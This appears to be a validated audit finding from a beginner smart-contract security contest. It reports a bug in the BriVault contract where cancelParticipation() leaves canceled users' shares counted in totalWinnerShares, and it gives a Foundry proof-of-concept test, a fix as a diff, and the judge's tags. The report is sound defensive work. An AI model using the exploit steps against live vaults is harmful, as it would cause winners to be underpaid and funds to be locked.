BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Critical: `cancelParticipation()` Inflates `totalWinnerShares`, Causing Underpayment and Locked Funds

mnusurov

Critical: `cancelParticipation()` Inflates `totalWinnerShares`, Causing Underpayment and Locked Funds

Description

  • Users who joinEvent() contribute their shares to totalWinnerShares via userSharesToCountry[user][countryId].

  • cancelParticipation() burns shares and refunds assets, but does not remove user from usersAddress[] nor subtract their shares from totalWinnerShares.

...
function _getWinnerShares () internal returns (uint256) {
​
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // @> Includes canceled users
}
return totalWinnerShares;
}
...
function cancelParticipation () public { // @> Does not update totalWinnerShares
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
stakedAsset[msg.sender] = 0;
​
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
​
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
...

Risk

Likelihood:

  • After joinEvent() — one cancelParticipation() call before eventStartDate.

Impact:

  • totalWinnerShares is inflated by canceled participants.

  • Legitimate winners receive less than fair share (assets * shares / totalWinnerShares).

  • Excess assets permanently locked in vault

Proof of Concept

file test/BriVaultExploitTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
// solhint-disable-next-line no-unused-import
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
​
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
​
abstract contract BriVaultExploitTest is Test {
using Math for uint256;
​
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100; // 1%
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
​
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
​
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
​
BriVault internal vault;
​
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
​
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
​
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
​
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
​
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
​
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
​
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
​
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
​
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
​
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
​
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}

file test/PocC05.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {BriVaultExploitTest, Math} from "./BriVaultExploitTest.t.sol";
​
contract PocC05 is BriVaultExploitTest {
using Math for uint256;
​
function test_criticalCancelParticipationInflatesTotalWinnerSharesCausingUnderpaymentAndLockAssetsInVault()
external
{
// Step 1: Users deposit and join the winning country
_joinEvent(attacker1, WINNER_COUNTRY_ID); // Attacker joins, then cancels
_joinEvent(user1, WINNER_COUNTRY_ID); // Legitimate winner
​
// Step 2: Attacker cancels participation (before event starts)
vm.prank(attacker1);
vault.cancelParticipation();
// → Shares burned, assets refunded
// → Their shares still counted in `totalWinnerShares`
​
// Step 3: Event ends, winner is set
_endEventAndSetWinner();
​
// Step 4: Legitimate user withdraws — gets underpaid
uint256 fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
uint256 actualBalanceBefore = token.balanceOf(user1);
​
vm.prank(user1);
vault.withdraw();
​
uint256 actualBalanceAfter = token.balanceOf(user1);
uint256 received = actualBalanceAfter - actualBalanceBefore;
​
assertLt(received, fairBalance, "User1 underpaid due to inflated totalWinnerShares");
emit log_named_uint("User1 fair balance", fairBalance);
emit log_named_uint("User1 received", received);
​
// Step 5: Assets remain locked in vault
uint256 vaultBalance = token.balanceOf(address(vault));
assertGt(vaultBalance, 0, "Assets stuck in vault");
emit log_named_uint("Vault locked balance", vaultBalance);
}
}

Recommended Mitigation

Fix Strategy:

  1. Track join status with hasJoined.

  2. Zero userSharesToCountry on cancel.

  3. Decrement totalParticipantShares.

  4. Use uint256 for userToCountryId — avoid keccak256 string comparison.

+error AlreadyJoined();
+mapping(address => bool) public hasJoined;
​
-mapping (address => string) public userToCountry;
+mapping (address => uint256) public userToCountryId;
...
function joinEvent(uint256 countryId) public {
+ if(hasJoined[msg.sender]) revert AlreadyJoined();
...
- userToCountry[msg.sender] = teams[countryId];
+ userToCountryId[msg.sender] = countryId;
+ hasJoined[msg.sender] = true;
...
}
...
function cancelParticipation () public {
...
uint256 shares = balanceOf(msg.sender);
+ if(hasJoined[msg.sender]) {
+ hasJoined[msg.sender] = false;
+ numberOfParticipants--;
+ totalParticipantShares = totalParticipantShares - shares;
+ userSharesToCountry[msg.sender][userToCountryId[msg.sender]] = 0;
+ }
...
function withdraw() external winnerSet {
...
if (
- keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
- keccak256(abi.encodePacked(winner))
userToCountryId[msg.sender] != winnerCountryId
) {
...
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!